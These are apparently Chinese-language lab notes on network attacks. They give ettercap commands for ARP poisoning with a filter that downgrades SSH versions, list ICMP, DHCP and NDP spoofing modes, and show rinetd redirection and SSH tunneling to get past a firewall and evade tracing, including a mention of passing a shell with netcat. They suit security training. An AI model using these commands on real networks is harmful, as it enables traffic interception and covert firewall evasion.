选择相应的连接并榨取文件,20端口ftp传输数据
Filter
/usr/share/ettercap/
SSH-2.xx / SSH-1.99 / SSH-1.51
etterfilter etter.filter.ssh -o ssh.ef
编译源文件为ef
就可以把1.99修改为1.51
ettercap -i eth0 -T -M arp:remote -q /192.168.95.137// /192.168.95.2// -F ssh.ef
其他协议攻击
ICMP
-M icmp:00:11:22:33:44:55/10.0.0.1(真实网关的MAC/IP)
DHCP
−M dhcp:192.168.0.30,35,50−60/255.255.255.0/192.168.0.1(DNS)
Port
-M port /1.1.1.1/ /1.1.1.2/
Ndp
-M ndp //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/
Traffic manipulation technique
流量操控
运用
访问受限的网络环境
使用隐蔽的手段逃避安全检查和溯源追踪
在非信任的网络中实现安全的数据传输
重定向
重定向 ip port
隧道
利用加密技术建立起通信
点到点(ip to ip)和端到端(port to port)
vpn
知识补充-vpn的种类
封装
使用网关设别实现不同类型的网络的互通
知识补充-RPC
重定向实验
环境
xp:作为内网机器,网卡设置为host-only
win2003:搭配iis服务器,开启远程连接,桥接到外网
m0n0wall防火墙:配置在xp和外网环境之间,规则是只允许内网机器访问外网的53端口
m0n0wall安装和配置
kali:安装rinetd 用于重定向,桥接到外网
- 重定向web流量
kali安装rinetd
apt-get install rinetd
修改配置 /etc/rinetd.conf
然后运行rinetd
接着xp访问kali的53端口,kali就会把请求转发给2003
-
远程桌面
同理,先修改rinetd 的配置,将转发的端口改为3389
然后杀死rinetdpkill rinetd
再重启rinetd
xp win+r 输入mstsc 打开远程桌面 连接kali53端口,可看到
-
nc传shell
同理
SSH隧道
一些特征
-
支持双向通信隧道
将其他TCP端口的通信通过SSH链接转发
用SSH作为传输协议,对流量自动加密
突破防火墙规则
一些用法
本地端口转发
环境准备
网络环境
ubuntu 18.04(任意Linux机器均可)网卡为仅主机模式
m0n0wall 网卡接host-only 和 无线网络 默认用户名 admin 密码 mono
kali 无线网络
win2k3 无线网络 iis服务器
环境 ubuntu 10.1.1.21
mono192.168.1.108
2k3 192.168.1.105
kali 192.168.1.107
开始测试
修改kalissh配置vim /etc/ssh/sshd_config
修改端口 为53, PermitRootLogin yes, PasswordAuthentication yes
启动ssh服务 service ssh start
转发建立
ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>